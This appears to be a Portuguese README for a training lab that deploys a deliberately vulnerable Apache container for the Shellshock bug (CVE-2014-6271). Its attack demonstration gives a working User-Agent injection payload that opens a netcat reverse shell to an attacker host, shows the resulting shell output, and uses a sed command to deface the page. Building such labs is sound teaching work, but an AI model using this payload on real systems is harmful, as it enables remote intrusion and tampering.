CVE-2014-6271-Apache-Debian

Visão Geral

Este repositório é um ambiente de PoC para CVE-2014-6271.
Você pode implantar um serviço web com a vulnerabilidade usando uma imagem de contêiner apache2.

Preparação

Build da Imagem

Construa a imagem insegura a partir do Dockerfile.

# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

Implantar Contêiner PoC

Docker

Implante o contêiner PoC como um contêiner docker.

# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Implante o contêiner PoC como um pod e serviço do k8s.

# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Acessar o Serviço Web PoC

Após a implantação ser concluída, você pode navegar pela página web acessando a seguinte URL com um navegador.
Você pode acessar o ambiente de laboratório k8s clicando no link "Clique!" abaixo da página web.

Docker

http://<docker host IP>:8080

Kubernetes

http://<k8s service endpoint>:<k8s service port>

Demonstração de Ataque

Nesta demonstração, você pode alterar a página web a partir do Host Atacante (fora do contêiner) explorando a vulnerabilidade do CVE-2014-6271.

Execute estes comandos a partir do host atacante.

Terminal 1

# nc -nvlp 5050

Terminal 2
※Neste caso, implantamos o contêiner PoC usando Docker. No caso do Kubernetes, a URL deve ser http://<k8s service endpoint>:<k8s service port>.

# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

Depois disso, você pode ver que o /bin/bash do contêiner PoC pode ser executado no Terminal 1.

Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Altere o link "Clique!" da página web.
Neste caso, usamos uma página fictícia para o link malicioso.

sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Acesse a página web novamente e clique no link "Clique!" abaixo da página web.

http://<docker host IP>:8080

Referência

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271